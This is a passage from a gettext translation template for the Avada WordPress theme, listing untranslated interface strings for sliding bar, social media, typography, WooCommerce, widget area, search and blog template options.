includes/options/sliding_bar.php:472 msgid "Sliding Bar Background Color" msgstr "" #: includes/options/sliding_bar.php:473 msgid "Controls the background color of the sliding bar." msgstr "" #: includes/options/sliding_bar.php:492 msgid "Sliding Bar Item Divider Color" msgstr "" #: includes/options/sliding_bar.php:493 msgid "Controls the divider color in the sliding bar." msgstr "" #: includes/options/sliding_bar.php:512 msgid "Sliding Bar Toggle/Close Icon Color" msgstr "" #: includes/options/sliding_bar.php:513 msgid "" "Controls the color of the sliding bar toggle icon and of the close icon " "when using the main menu icon as toggle style." msgstr "" #: includes/options/sliding_bar.php:533 msgid "Sliding Bar Heading Font Size" msgstr "" #: includes/options/sliding_bar.php:534 msgid "Controls the font size for the sliding bar heading text." msgstr "" #: includes/options/sliding_bar.php:556 msgid "Sliding Bar Headings Color" msgstr "" #: includes/options/sliding_bar.php:557 msgid "Controls the text color of the sliding bar heading font." msgstr "" #: includes/options/sliding_bar.php:577 msgid "Sliding Bar Font Color" msgstr "" #: includes/options/sliding_bar.php:578 msgid "Controls the text color of the sliding bar font." msgstr "" #: includes/options/sliding_bar.php:598 msgid "Sliding Bar Link Color" msgstr "" #: includes/options/sliding_bar.php:599 msgid "Controls the text color of the sliding bar link font." msgstr "" #: includes/options/sliding_bar.php:618 msgid "Sliding Bar Link Hover Color" msgstr "" #: includes/options/sliding_bar.php:619 msgid "Controls the text hover color of the sliding bar link font." msgstr "" #: includes/options/sliding_bar.php:638 msgid "Border on Sliding Bar" msgstr "" #: includes/options/sliding_bar.php:639 msgid "" "Turn on to display a border line on the sliding bar which makes it stand " "out more." msgstr "" #: includes/options/social_media.php:36 msgid "Social Media" msgstr "" #: includes/options/social_media.php:43 msgid "Social Media Icons" msgstr "" #: includes/options/social_media.php:50 msgid "" "IMPORTANT NOTE: This tab controls the social networks that " "display in legacy headers and footers. Custom icons created here can also " "be used in the Social Links and the Person element." msgstr "" #: includes/options/social_media.php:55 msgid "Social Media Icons / Links" msgstr "" #: includes/options/social_media.php:56 msgid "" "Social media links use a repeater field and allow one network per field. " "Click the \"Add\" button to add additional fields." msgstr "" #: includes/options/social_media.php:115 msgid "Social Network" msgstr "" #: includes/options/social_media.php:116 msgid "Select a social network to automatically add its icon" msgstr "" #: includes/options/social_media.php:130 msgid "Custom Link" msgstr "" #: includes/options/social_media.php:131 msgid "Insert your custom link here" msgstr "" #: includes/options/social_media.php:137 msgid "Custom Icon Title" msgstr "" #: includes/options/social_media.php:138 msgid "Insert a title for your custom icon here" msgstr "" #: includes/options/social_media.php:151 msgid "Choose the image you want to use as icon" msgstr "" #: includes/options/social_media.php:152 msgid "Upload your custom icon" msgstr "" #: includes/options/social_media.php:204 msgid "Header Social Icons Styling" msgstr "" #: includes/options/social_media.php:236 msgid "Header Social Icon Font Size" msgstr "" #: includes/options/social_media.php:237 msgid "Controls the font size of the header social icons." msgstr "" #: includes/options/social_media.php:250 msgid "Header Social Icon Tooltip Position" msgstr "" #: includes/options/social_media.php:251 msgid "Controls the tooltip position of the header social icons." msgstr "" #: includes/options/social_media.php:284 msgid "Header Social Icon Color Type" msgstr "" #: includes/options/social_media.php:285 includes/options/social_media.php:537 #: includes/options/social_media.php:894 msgid "" "Custom colors allow you to choose a color for icons and boxes. Brand colors " "will use the exact brand color of each network for the icons or boxes." msgstr "" #: includes/options/social_media.php:291 includes/options/social_media.php:543 #: includes/options/social_media.php:899 msgid "Custom Colors" msgstr "" #: includes/options/social_media.php:315 msgid "Header Social Icon Color" msgstr "" #: includes/options/social_media.php:316 msgid "" "Controls the color of the header social icons. This color will be used for " "all social icons in the header." msgstr "" #: includes/options/social_media.php:337 msgid "Header Social Icons Boxed" msgstr "" #: includes/options/social_media.php:338 includes/options/social_media.php:592 msgid "Controls if each icon is displayed in a small box." msgstr "" #: includes/options/social_media.php:364 msgid "Header Social Icon Box Color" msgstr "" #: includes/options/social_media.php:365 includes/options/social_media.php:616 #: includes/options/social_media.php:952 msgid "Controls the color of the social icon box." msgstr "" #: includes/options/social_media.php:391 msgid "Header Social Icon Boxed Radius" msgstr "" #: includes/options/social_media.php:392 includes/options/social_media.php:648 msgid "Controls the box radius." msgstr "" #: includes/options/social_media.php:412 msgid "Header Social Icon Boxed Padding" msgstr "" #: includes/options/social_media.php:413 includes/options/social_media.php:674 msgid "Controls the interior padding of the box." msgstr "" #: includes/options/social_media.php:435 msgid "Footer Social Icons Styling" msgstr "" #: includes/options/social_media.php:467 msgid "Display Social Icons In The Footer" msgstr "" #: includes/options/social_media.php:468 msgid "Turn on to display social icons in the footer copyright bar." msgstr "" #: includes/options/social_media.php:484 msgid "Footer Social Icon Font Size" msgstr "" #: includes/options/social_media.php:485 msgid "Controls the font size of the footer social icons." msgstr "" #: includes/options/social_media.php:505 msgid "Footer Social Icon Tooltip Position" msgstr "" #: includes/options/social_media.php:506 msgid "Controls the tooltip position of the footer social icons." msgstr "" #: includes/options/social_media.php:536 msgid "Footer Social Icon Color Type" msgstr "" #: includes/options/social_media.php:564 msgid "Footer Social Icon Color" msgstr "" #: includes/options/social_media.php:565 msgid "" "Controls the color of the footer social icons. This color will be used for " "all social icons in the footer." msgstr "" #: includes/options/social_media.php:591 msgid "Footer Social Icons Boxed" msgstr "" #: includes/options/social_media.php:615 msgid "Footer Social Icon Box Color" msgstr "" #: includes/options/social_media.php:647 msgid "Footer Social Icon Boxed Radius" msgstr "" #: includes/options/social_media.php:673 msgid "Footer Social Icon Boxed Padding" msgstr "" #: includes/options/social_media.php:707 msgid "Social Sharing Tagline" msgstr "" #: includes/options/social_media.php:708 msgid "Insert a tagline for the social sharing boxes." msgstr "" #: includes/options/social_media.php:710 msgid "Share This Story, Choose Your Platform!" msgstr "" #: includes/options/social_media.php:724 msgid "Social Sharing Tagline Text Color" msgstr "" #: includes/options/social_media.php:725 msgid "Controls the color of the tagline text in the social sharing boxes." msgstr "" #: includes/options/social_media.php:738 msgid "Social Sharing Background Color" msgstr "" #: includes/options/social_media.php:739 msgid "Controls the background color of the social sharing boxes." msgstr "" #: includes/options/social_media.php:776 msgid "Social Sharing Padding" msgstr "" #: includes/options/social_media.php:777 msgid "Set the padding for the social sharing box. " msgstr "" #: includes/options/social_media.php:818 msgid "Social Sharing Icons" msgstr "" #: includes/options/social_media.php:826 msgid "Select social network you want to be displayed in the social share box." msgstr "" #: includes/options/social_media.php:834 msgid "Bluesky" msgstr "" #: includes/options/social_media.php:835 msgid "Reddit" msgstr "" #: includes/options/social_media.php:836 msgid "LinkedIn" msgstr "" #: includes/options/social_media.php:837 msgid "Mastodon" msgstr "" #: includes/options/social_media.php:838 msgid "WhatsApp" msgstr "" #: includes/options/social_media.php:839 msgid "Telegram" msgstr "" #: includes/options/social_media.php:840 msgid "Threads" msgstr "" #: includes/options/social_media.php:841 msgid "Tumblr" msgstr "" #: includes/options/social_media.php:842 msgid "Pinterest" msgstr "" #: includes/options/social_media.php:843 msgid "VK" msgstr "" #: includes/options/social_media.php:844 msgid "Xing" msgstr "" #: includes/options/social_media.php:856 msgid "Social Sharing Icon Font Size" msgstr "" #: includes/options/social_media.php:857 msgid "Controls the font size of the social icons in the social sharing boxes." msgstr "" #: includes/options/social_media.php:869 msgid "Social Sharing Icons Tooltip Position" msgstr "" #: includes/options/social_media.php:870 msgid "" "Controls the tooltip position of the social icons in the social sharing " "boxes." msgstr "" #: includes/options/social_media.php:893 msgid "Social Sharing Icon Color Type" msgstr "" #: includes/options/social_media.php:914 msgid "Social Sharing Icon Color" msgstr "" #: includes/options/social_media.php:915 msgid "" "Controls the color of the social icons in the social sharing boxes. This " "color will be used for all social icons." msgstr "" #: includes/options/social_media.php:934 msgid "Social Sharing Icons Boxed" msgstr "" #: includes/options/social_media.php:935 msgid "Controls if each social icon is displayed in a small box." msgstr "" #: includes/options/social_media.php:951 msgid "Social Sharing Icon Box Color" msgstr "" #: includes/options/social_media.php:965 msgid "Social Sharing Icon Boxed Radius" msgstr "" #: includes/options/social_media.php:966 msgid "Controls the box radius of the social icon box." msgstr "" #: includes/options/social_media.php:979 msgid "Social Sharing Icons Boxed Padding" msgstr "" #: includes/options/social_media.php:980 msgid "Controls the interior padding of the social icon box." msgstr "" #: includes/options/typography.php:152 msgid "" "NOTE: You can create a custom global font for each Adobe " "font, so when you want to change that font, you don't need to search for " "each element that used that font. Also note that when you change the " "project fonts, you need to refresh the Adobe Fonts cache." msgstr "" #: includes/options/typography.php:155 msgid "To refresh the cache you need to go to global options in the admin back-end." msgstr "" #: includes/options/typography.php:157 msgid "" "If you use a multilingual plugin, the value of the Adobe Fonts Id used for " "fonts is the one from \"All Languages\" options page." msgstr "" #: includes/options/typography.php:176 msgid "Typography Sets" msgstr "" #: includes/options/typography.php:177 msgid "" "Set your global typography sets. The sets defined here can be used from " "other global options, and element options. Each of the options within these " "sets can be individually overridden in options using the sets. " "IMPORTANT NOTE: If a global set that is used by other " "options gets deleted, these corresponding options will display the default " "font. Typography sets are internally stored with a fixed counter. Thus, " "adding a new set after deleting an old one, will set the same internal name " "to the new set." msgstr "" #: includes/options/typography.php:186 includes/options/typography.php:198 msgid "Body Typography" msgstr "" #: includes/options/typography.php:192 msgid "" "IMPORTANT NOTE: This tab contains general typography " "options. Additional typography options for specific areas can be found " "within other tabs. Example: For menu typography options go to the menu tab." msgstr "" #: includes/options/typography.php:199 msgid "These settings control the typography for all body text." msgstr "" #: includes/options/typography.php:259 msgid "Link Color" msgstr "" #: includes/options/typography.php:260 msgid "Controls the color of all text links." msgstr "" #: includes/options/typography.php:276 msgid "Link Hover Color" msgstr "" #: includes/options/typography.php:277 msgid "Controls the link hover color throughout the website." msgstr "" #: includes/options/typography.php:309 msgid "Enable Link Text Decoration" msgstr "" #: includes/options/typography.php:310 msgid "Turn on to enable text decoration on general links." msgstr "" #: includes/options/typography.php:318 msgid "Exclude Elements From Link Decoration" msgstr "" #: includes/options/typography.php:319 msgid "Choose which elements should be excluded from the link decoration." msgstr "" #: includes/options/typography.php:326 msgid "Buttons" msgstr "" #: includes/options/typography.php:327 msgid "Headings" msgstr "" #: includes/options/typography.php:329 msgid "TOC Elements" msgstr "" #: includes/options/typography.php:330 msgid "Tabs & Toggles" msgstr "" #: includes/options/typography.php:344 msgid "Link Text Decoration Line" msgstr "" #: includes/options/typography.php:345 msgid "Controls the text decoration line of all general links." msgstr "" #: includes/options/typography.php:352 includes/options/typography.php:475 msgid "Overline" msgstr "" #: includes/options/typography.php:353 includes/options/typography.php:476 msgid "Underline" msgstr "" #: includes/options/typography.php:354 includes/options/typography.php:477 msgid "Line Through" msgstr "" #: includes/options/typography.php:355 includes/options/typography.php:478 msgid "Overline & Underline" msgstr "" #: includes/options/typography.php:371 msgid "Link Text Decoration Style" msgstr "" #: includes/options/typography.php:372 msgid "Controls the text decoration style of all general links." msgstr "" #: includes/options/typography.php:382 includes/options/typography.php:505 msgid "Wavy" msgstr "" #: includes/options/typography.php:403 msgid "Link Text Decoration Thickness" msgstr "" #: includes/options/typography.php:404 msgid "" "Controls the text decoration line thickness of all general links. Can be " "set in px, em or rem. Ex: 2px." msgstr "" #: includes/options/typography.php:430 msgid "Link Text Decoration Underline Offset" msgstr "" #: includes/options/typography.php:431 msgid "Controls the text decoration underline offset of all general links." msgstr "" #: includes/options/typography.php:467 msgid "Link Hover Text Decoration Line" msgstr "" #: includes/options/typography.php:468 msgid "Controls the text hover decoration line of all general links." msgstr "" #: includes/options/typography.php:494 msgid "Link Hover Text Decoration Style" msgstr "" #: includes/options/typography.php:495 msgid "Controls the text hover decoration style of all general links." msgstr "" #: includes/options/typography.php:526 msgid "Link Hover Text Decoration Thickness" msgstr "" #: includes/options/typography.php:527 msgid "" "Controls the text hover decoration line thickness of all general links. Can " "be set in px, em or rem. Ex: 2px." msgstr "" #: includes/options/typography.php:553 msgid "Link Hover Text Decoration Underline Offset" msgstr "" #: includes/options/typography.php:554 msgid "Controls the text hover decoration underline offset of all general links." msgstr "" #: includes/options/typography.php:592 msgid "Heading Typography" msgstr "" #: includes/options/typography.php:598 msgid "" "IMPORTANT NOTE: This tab contains heading typography " "options. Additional typography options for specific areas can be found " "within other tabs. Example: For menu typography options go to the menu tab." msgstr "" #: includes/options/typography.php:604 msgid "H1 Headings Typography" msgstr "" #: includes/options/typography.php:605 msgid "These settings control the typography for all H1 headings." msgstr "" #: includes/options/typography.php:680 msgid "H2 Headings Typography" msgstr "" #: includes/options/typography.php:681 msgid "These settings control the typography for all H2 headings." msgstr "" #: includes/options/typography.php:756 msgid "H3 Headings Typography" msgstr "" #: includes/options/typography.php:757 msgid "These settings control the typography for all H3 headings." msgstr "" #: includes/options/typography.php:832 msgid "H4 Headings Typography" msgstr "" #: includes/options/typography.php:833 msgid "These settings control the typography for all H4 headings." msgstr "" #: includes/options/typography.php:908 msgid "H5 Headings Typography" msgstr "" #: includes/options/typography.php:909 msgid "These settings control the typography for all H5 headings." msgstr "" #: includes/options/typography.php:984 msgid "H6 Headings Typography" msgstr "" #: includes/options/typography.php:985 msgid "These settings control the typography for all H6 headings." msgstr "" #: includes/options/typography.php:1060 msgid "Post Title Typography" msgstr "" #: includes/options/typography.php:1061 msgid "" "These settings control the typography of all post titles including archive " "and single posts.
    IMPORTANT: On archive pages and in " "blog elements the linked post titles will use link color." msgstr "" #: includes/options/typography.php:1124 msgid "Post Title Extras Typography" msgstr "" #: includes/options/typography.php:1125 msgid "" "These settings control the typography of single post title extras such as " "\"Comments\", \"Related Posts or Projects\" and \"Author Titles\"" msgstr "" #: includes/options/typography.php:1195 msgid "" "IMPORTANT NOTE: Please upload your custom fonts below. " "Once you upload a custom font, you will have to save your options " "and reload this page on your browser. After you reload the page " "you will be able to select your new fonts - they will be available at the " "top of the fonts-list in the typography controls." msgstr "" #: includes/options/typography.php:1201 msgid "" "Upload a custom font to use throughout the site. All files are not " "necessary but are recommended for full browser support. You can upload as " "many custom fonts as you need. Click the \"Add\" button for additional " "upload boxes." msgstr "" #: includes/options/typography.php:1211 msgid "Font Name" msgstr "" #: includes/options/typography.php:1212 msgid "This will be used in the font-family dropdown." msgstr "" #: includes/options/typography.php:1261 msgid "Adobe Fonts ID" msgstr "" #: includes/options/typography.php:1262 msgid "" "Enter the Adobe Fonts (formerly TypeKit) Web Project ID. You will need to " "save and reload the page." msgstr "" #: includes/options/typography.php:1268 msgid "Adobe Fonts Reset Cache" msgstr "" #: includes/options/typography.php:1269 msgid "See the added Adobe Fonts, or press the button to reset Adobe Fonts cache." msgstr "" #: includes/options/typography.php:1273 msgid "Refresh Adobe Fonts Cache" msgstr "" #: includes/options/woocommerce.php:37 includes/options/woocommerce.php:142 msgid "WooCommerce" msgstr "" #: includes/options/woocommerce.php:44 msgid "General WooCommerce" msgstr "" #: includes/options/woocommerce.php:51 msgid "WooCommerce Number of Products per Page" msgstr "" #: includes/options/woocommerce.php:52 msgid "Controls the number of products that display per page. " msgstr "" #: includes/options/woocommerce.php:63 msgid "WooCommerce Number of Product Columns" msgstr "" #: includes/options/woocommerce.php:64 msgid "Controls the number of columns for the main shop page." msgstr "" #: includes/options/woocommerce.php:82 msgid "WooCommerce Related/Up-Sell/Cross-Sell Product Number of Columns" msgstr "" #: includes/options/woocommerce.php:83 msgid "" "Controls the number of columns for the related and up-sell products on " "single posts and cross-sells on cart page." msgstr "" #: includes/options/woocommerce.php:104 msgid "WooCommerce Archive Number of Product Columns" msgstr "" #: includes/options/woocommerce.php:105 msgid "Controls the number of columns for the archive pages." msgstr "" #: includes/options/woocommerce.php:117 msgid "" "Controls the column spacing between products on WooCommerce product " "archives." msgstr "" #: includes/options/woocommerce.php:135 msgid "WooCommerce Product Images Layout" msgstr "" #: includes/options/woocommerce.php:136 msgid "Set the layout for your product images." msgstr "" #: includes/options/woocommerce.php:146 msgid "WooCommerce Product Images Zoom" msgstr "" #: includes/options/woocommerce.php:147 msgid "" "Turn on to enable the WooCommerce product images zoom feature. " "IMPORTANT NOTE: Every product image you use must be larger " "than the product images container for zoom to work correctly. See this post for more information." msgstr "" #: includes/options/woocommerce.php:153 msgid "WooCommerce Product Images Width" msgstr "" #: includes/options/woocommerce.php:154 msgid "" "Controls the width of the single product page image gallery. For the image " "gallery zoom feature to work, the images you upload must be larger than the " "gallery size you select for this option. IMPORTANT NOTE: " "When this option is changed, you may need to adjust the Single Product " "Image size setting in WooCommerce Settings to make sure that one is larger " "and also regenerate thumbnails. See this post for more information.
    " msgstr "" #: includes/options/woocommerce.php:179 msgid "WooCommerce Product Images Thumbnail Width" msgstr "" #: includes/options/woocommerce.php:180 msgid "" "Controls the natural image width of product page image gallery thumbnails. " "IMPORTANT NOTE: When this option is changed, you need to " "make sure to regenerate thumbnails. See this post for more information.
    " msgstr "" #: includes/options/woocommerce.php:198 msgid "WooCommerce Product Images Thumbnail Position" msgstr "" #: includes/options/woocommerce.php:199 msgid "" "Set the position of the product page image gallery thumbnails with respect " "to the main gallery images." msgstr "" #: includes/options/woocommerce.php:218 msgid "WooCommerce Product Images Thumbnail Column Width" msgstr "" #: includes/options/woocommerce.php:219 msgid "" "Controls the width of the left/right column of product images thumbnails as " "a percentage of the full gallery width." msgstr "" #: includes/options/woocommerce.php:267 msgid "WooCommerce Product Images Thumbnails Columns" msgstr "" #: includes/options/woocommerce.php:268 msgid "" "Controls the number of columns of the single product page image gallery " "thumbnails. In order to avoid blurry thumbnails, make sure the " "\"WooCommerce Product Images Thumbnails Width\" option above is large " "enough. It has to be at least \"WooCommerce Product Images Width\" option " "divided by this number of columns." msgstr "" #: includes/options/woocommerce.php:314 msgid "WooCommerce Product Quick View" msgstr "" #: includes/options/woocommerce.php:315 msgid "Turn on to enable product quick view for products." msgstr "" #: includes/options/woocommerce.php:321 msgid "WooCommerce Product Variation Swatches" msgstr "" #: includes/options/woocommerce.php:322 msgid "Turn on to enable color, button and image variation types." msgstr "" #: includes/options/woocommerce.php:328 msgid "WooCommerce Shop Page Ordering Boxes" msgstr "" #: includes/options/woocommerce.php:329 msgid "Turn on to display the ordering boxes on the shop page." msgstr "" #: includes/options/woocommerce.php:335 msgid "WooCommerce Shop Page Crossfade Image Effect" msgstr "" #: includes/options/woocommerce.php:336 msgid "Turn on to display the product crossfade image effect on the shop page." msgstr "" #: includes/options/woocommerce.php:342 msgid "WooCommerce One Page Checkout" msgstr "" #: includes/options/woocommerce.php:343 msgid "Turn on to use the one page checkout template." msgstr "" #: includes/options/woocommerce.php:356 msgid "WooCommerce Order Notes on Checkout" msgstr "" #: includes/options/woocommerce.php:357 msgid "Turn on to display the order notes on the checkout page." msgstr "" #: includes/options/woocommerce.php:370 msgid "WooCommerce My Account Link in Main Menu" msgstr "" #: includes/options/woocommerce.php:371 msgid "" "Turn on to display the \"My Account\" link in the main menu. Not compatible " "with Ubermenu." msgstr "" #: includes/options/woocommerce.php:398 msgid "WooCommerce Cart Icon in Main Menu" msgstr "" #: includes/options/woocommerce.php:399 msgid "" "Turn on to display the cart icon in the main menu. Not compatible with " "Ubermenu." msgstr "" #: includes/options/woocommerce.php:425 msgid "WooCommerce Menu Cart Icon Counter" msgstr "" #: includes/options/woocommerce.php:426 msgid "Turn on to display the WooCommerce cart counter circle." msgstr "" #: includes/options/woocommerce.php:452 msgid "WooCommerce Cart Icon in Secondary Menu" msgstr "" #: includes/options/woocommerce.php:453 msgid "" "Turn on to display the cart icon in the secondary menu. Not compatible with " "Ubermenu." msgstr "" #: includes/options/woocommerce.php:507 msgid "WooCommerce My Account Link in Secondary Menu" msgstr "" #: includes/options/woocommerce.php:508 msgid "" "Turn on to display the \"My Account\" link in the secondary menu. Not " "compatible with Ubermenu." msgstr "" #: includes/options/woocommerce.php:561 msgid "WooCommerce Social Icons" msgstr "" #: includes/options/woocommerce.php:562 msgid "Turn on to display the social icons on single product posts." msgstr "" #: includes/options/woocommerce.php:575 msgid "WooCommerce Product Grid / List View" msgstr "" #: includes/options/woocommerce.php:576 msgid "" "Turn on to display the grid/list toggle on the main shop page and archive " "shop pages." msgstr "" #: includes/options/woocommerce.php:583 msgid "WooCommerce Product Default View" msgstr "" #: includes/options/woocommerce.php:584 msgid "Sets the default product view for shop page and product archive pages." msgstr "" #: includes/options/woocommerce.php:589 msgid "List" msgstr "" #: includes/options/woocommerce.php:593 msgid "WooCommerce Load Cart Fragments Script" msgstr "" #: includes/options/woocommerce.php:594 msgid "" "Turn on to load the cart fragments script on all WooComemrce pages. This " "will enable AJAX driven updates of the cart and mini cart, but can be " "resource intensive on large shops." msgstr "" #: includes/options/woocommerce.php:600 msgid "WooCommerce Single Product Ajax Add to Cart" msgstr "" #: includes/options/woocommerce.php:601 msgid "Turn on to enable single product ajax Add to Cart." msgstr "" #: includes/options/woocommerce.php:607 msgid "WooCommerce Account Area Message 1" msgstr "" #: includes/options/woocommerce.php:608 msgid "" "Controls the text that displays in the first message box on the account " "page." msgstr "" #: includes/options/woocommerce.php:621 msgid "WooCommerce Account Area Message 2" msgstr "" #: includes/options/woocommerce.php:622 msgid "" "Controls the text that displays in the second message box on the account " "page." msgstr "" #: includes/options/woocommerce.php:637 msgid "WooCommerce Styling" msgstr "" #: includes/options/woocommerce.php:645 msgid "WooCommerce Product Box Design" msgstr "" #: includes/options/woocommerce.php:646 msgid "Controls the design of the product boxes." msgstr "" #: includes/options/woocommerce.php:655 msgid "WooCommerce Product Box Content Padding" msgstr "" #: includes/options/woocommerce.php:656 msgid "Controls the top/right/bottom/left padding of the products contents." msgstr "" #: includes/options/woocommerce.php:692 msgid "" "Turn on to display product posts at 100% browser width according to the " "window size. Turn off to follow site width." msgstr "" #: includes/options/woocommerce.php:727 msgid "WooCommerce Tab Design" msgstr "" #: includes/options/woocommerce.php:728 msgid "Controls the design of all WooCommerce tabs." msgstr "" #: includes/options/woocommerce.php:733 msgid "Horizontal Tabs" msgstr "" #: includes/options/woocommerce.php:734 msgid "Vertical Tabs" msgstr "" #: includes/options/woocommerce.php:747 msgid "WooCommerce Quantity Input Size" msgstr "" #: includes/options/woocommerce.php:748 msgid "Controls the width and height of the quantity input field." msgstr "" #: includes/options/woocommerce.php:768 msgid "WooCommerce Quantity Font Size" msgstr "" #: includes/options/woocommerce.php:769 msgid "Controls the font size of the quantity input field." msgstr "" #: includes/options/woocommerce.php:780 msgid "WooCommerce Quantity Box Background Color" msgstr "" #: includes/options/woocommerce.php:781 msgid "Controls the background color of the WooCommerce quantity box." msgstr "" #: includes/options/woocommerce.php:793 msgid "WooCommerce Quantity Box Hover Background Color" msgstr "" #: includes/options/woocommerce.php:794 msgid "Controls the hover color of the WooCommerce quantity box." msgstr "" #: includes/options/woocommerce.php:806 msgid "WooCommerce Order Dropdown Background Color" msgstr "" #: includes/options/woocommerce.php:807 msgid "Controls the background color of the WooCommerce order dropdowns." msgstr "" #: includes/options/woocommerce.php:823 msgid "WooCommerce Order Dropdown Text Color" msgstr "" #: includes/options/woocommerce.php:824 msgid "Controls the color of the text and icons in the WooCommerce order dropdowns." msgstr "" #: includes/options/woocommerce.php:836 msgid "WooCommerce Order Dropdown Border Color" msgstr "" #: includes/options/woocommerce.php:837 msgid "Controls the border color in the WooCommerce order dropdowns." msgstr "" #: includes/options/woocommerce.php:849 msgid "WooCommerce Cart Menu Background Color" msgstr "" #: includes/options/woocommerce.php:850 msgid "" "Controls the bottom section background color of the WooCommerce cart " "dropdown." msgstr "" #: includes/options/woocommerce.php:875 msgid "WooCommerce Icon Font Size" msgstr "" #: includes/options/woocommerce.php:876 msgid "Controls the font size of the WooCommerce icons." msgstr "" #: includes/options/woocommerce.php:887 msgid "Sale Badge" msgstr "" #: includes/options/woocommerce.php:893 msgid "WooCommerce Sale Badge Shape" msgstr "" #: includes/options/woocommerce.php:894 msgid "Controls the shape of the sale badge." msgstr "" #: includes/options/woocommerce.php:919 msgid "WooCommerce Sale Badge Background Color" msgstr "" #: includes/options/woocommerce.php:920 msgid "Controls the background color of the WooCommerce sale badge." msgstr "" #: includes/options/woocommerce.php:932 msgid "WooCommerce Sale Badge Text Color" msgstr "" #: includes/options/woocommerce.php:933 msgid "Controls the text color of the WooCommerce sale badge." msgstr "" #: includes/options/woocommerce.php:945 msgid "WooCommerce Sale Badge Text Size" msgstr "" #: includes/options/woocommerce.php:946 msgid "Controls the font size of the WooCommerce sale badge text." msgstr "" #: includes/options/woocommerce.php:957 msgid "WooCommerce Sale Badge Padding" msgstr "" #: includes/options/woocommerce.php:958 msgid "Controls the top/right/bottom/left padding of the sale badge." msgstr "" #: includes/options/woocommerce.php:1002 msgid "WooCommerce Sale Badge Border Radius" msgstr "" #: includes/options/woocommerce.php:1003 msgid "Controls the border radius of sale badge." msgstr "" #: includes/options/woocommerce.php:1052 msgid "WooCommerce Sale Badge Border Size" msgstr "" #: includes/options/woocommerce.php:1053 msgid "Controls the border size of the sale badge." msgstr "" #: includes/options/woocommerce.php:1088 msgid "WooCommerce Sale Badge Border Color" msgstr "" #: includes/options/woocommerce.php:1089 msgid "Controls the border color of the sale badge" msgstr "" #: includes/options/woocommerce.php:1101 msgid "WooCommerce Sale Badge Text" msgstr "" #: includes/options/woocommerce.php:1102 msgid "" "[percentage] and [value] placeholders can be used to display product " "discount as percentage or as a value, ex: [percentage] Off!" msgstr "" #: includes/options/woocommerce.php:1104 templates/wc-quick-view-product.php:37 msgid "Sale!" msgstr "" #: includes/options/woocommerce.php:1108 msgid "Out Of Stock Badge" msgstr "" #: includes/options/woocommerce.php:1114 msgid "WooCommerce Out Of Stock Badge Shape" msgstr "" #: includes/options/woocommerce.php:1115 msgid "Controls the shape of the out of stock badge." msgstr "" #: includes/options/woocommerce.php:1167 msgid "WooCommerce Out of Stock Badge Background Color" msgstr "" #: includes/options/woocommerce.php:1168 msgid "Controls the background color of the WooCommerce out of stock badge." msgstr "" #: includes/options/woocommerce.php:1180 msgid "WooCommerce Out of Stock Badge Text Color" msgstr "" #: includes/options/woocommerce.php:1181 msgid "Controls the text color of the WooCommerce out of stock badge." msgstr "" #: includes/options/woocommerce.php:1193 msgid "WooCommerce Out of Stock Badge Text Size" msgstr "" #: includes/options/woocommerce.php:1194 msgid "Controls the font size of the WooCommerce out of stock badge text." msgstr "" #: includes/options/woocommerce.php:1205 msgid "WooCommerce Out Of Stock Badge Padding" msgstr "" #: includes/options/woocommerce.php:1206 msgid "Controls the top/right/bottom/left padding of the out of stock badge." msgstr "" #: includes/options/woocommerce.php:1250 msgid "WooCommerce Out Of Stock Badge Border Radius" msgstr "" #: includes/options/woocommerce.php:1251 msgid "Controls the border radius of out of stock badge." msgstr "" #: includes/options/woocommerce.php:1300 msgid "WooCommerce Out Of Stock Badge Border Size" msgstr "" #: includes/options/woocommerce.php:1301 msgid "Controls the border size of the out of stock badge." msgstr "" #: includes/options/woocommerce.php:1336 msgid "WooCommerce Out Of Stock Badge Border Color" msgstr "" #: includes/options/woocommerce.php:1337 msgid "Controls the border color of the out of stock badge" msgstr "" #: includes/options/woocommerce.php:1349 msgid "WooCommerce Out Of Stock Badge Text" msgstr "" #: includes/options/woocommerce.php:1350 msgid "Default value is: Out of stock" msgstr "" #: includes/options/woocommerce.php:1352 #: templates/wc-product-loop-outofstock-flash.php:23 msgid "Out of stock" msgstr "" #: includes/plugins/multiple_sidebars.php:159 msgid "Widget Area already exists, please use a different name." msgstr "" #: includes/plugins/multiple_sidebars.php:224 msgid "No Widget area defined." msgstr "" #: includes/plugins/multiple_sidebars.php:227 msgid "Widget area does not exist." msgstr "" #: includes/plugins/multiple_sidebars.php:261 msgid "Are you sure you want to remove" msgstr "" #: includes/plugins/multiple_sidebars.php:261 msgid "This will remove any widgets you have assigned to this widget area." msgstr "" #: includes/plugins/multiple_sidebars.php:269 msgid "Widget Area Name:" msgstr "" #: includes/plugins/multiple_sidebars.php:280 msgid "Widget Areas" msgstr "" #: includes/plugins/multiple_sidebars.php:285 msgid "Widget Area Name" msgstr "" #: includes/plugins/multiple_sidebars.php:297 msgid "Remove This Widget Area" msgstr "" #: includes/plugins/multiple_sidebars.php:297 msgid "remove" msgstr "" #: includes/plugins/multiple_sidebars.php:303 msgid "No Widget Areas defined." msgstr "" #: includes/plugins/multiple_sidebars.php:307 msgid "Add New Widget Area" msgstr "" #: includes/plugins/post-link-plus.php:377 msgid "Previous Post" msgstr "" #: includes/plugins/post-link-plus.php:377 msgid "Next Post" msgstr "" #: includes/upgrade/class-avada-upgrade-770.php:210 msgid "Admin Notification" msgstr "" #: includes/upgrade/class-avada-upgrade-780.php:99 msgid "Load More" msgstr "" #: includes/wc-functions.php:56 msgid "Please calculate shipping" msgstr "" #: search.php:45 msgid "Couldn't find what you're looking for!" msgstr "" #: search.php:49 msgid "Oops!" msgstr "" #: search.php:52 msgid "Helpful Links:" msgstr "" #: search.php:117 msgid "Try again" msgstr "" #: search.php:118 msgid "If you want to rephrase your query, here is your chance:" msgstr "" #: single-wpfc_sermon.php:73 single.php:73 #. translators: The link. msgid "About the Author: %s" msgstr "" #: sliding_bar.php:50 msgid "Toggle Sliding Bar Area" msgstr "" #: sliding_bar.php:57 sliding_bar.php:63 msgid "Close Sliding Bar Area" msgstr "" #: templates/author-info.php:32 #. translators: %1$s: Username. %2$s: Number. msgid "So far %1$s has created %2$s blog entries." msgstr "" #: templates/author-info.php:44 #. translators: The user. msgid "About %s" msgstr "" #: templates/author-info.php:50 msgid "Edit profile" msgstr "" #: templates/blog-layout.php:357 templates/blog-layout.php:387 msgid "More on" msgstr "" #: templates/blog-layout.php:358 templates/blog-layout.php:388 msgid "Read More" msgstr "" #: templates/blog-layout.php:370 msgid "Protected" msgstr "" #: templates/blog-layout.php:429 msgid "Load More Results" msgstr "" #: templates/blog-layout.php:429 msgid "Load More Posts" msgstr "" #: templates/featured-image-post.php:41 msgid "View Larger Image" msgstr "" #: 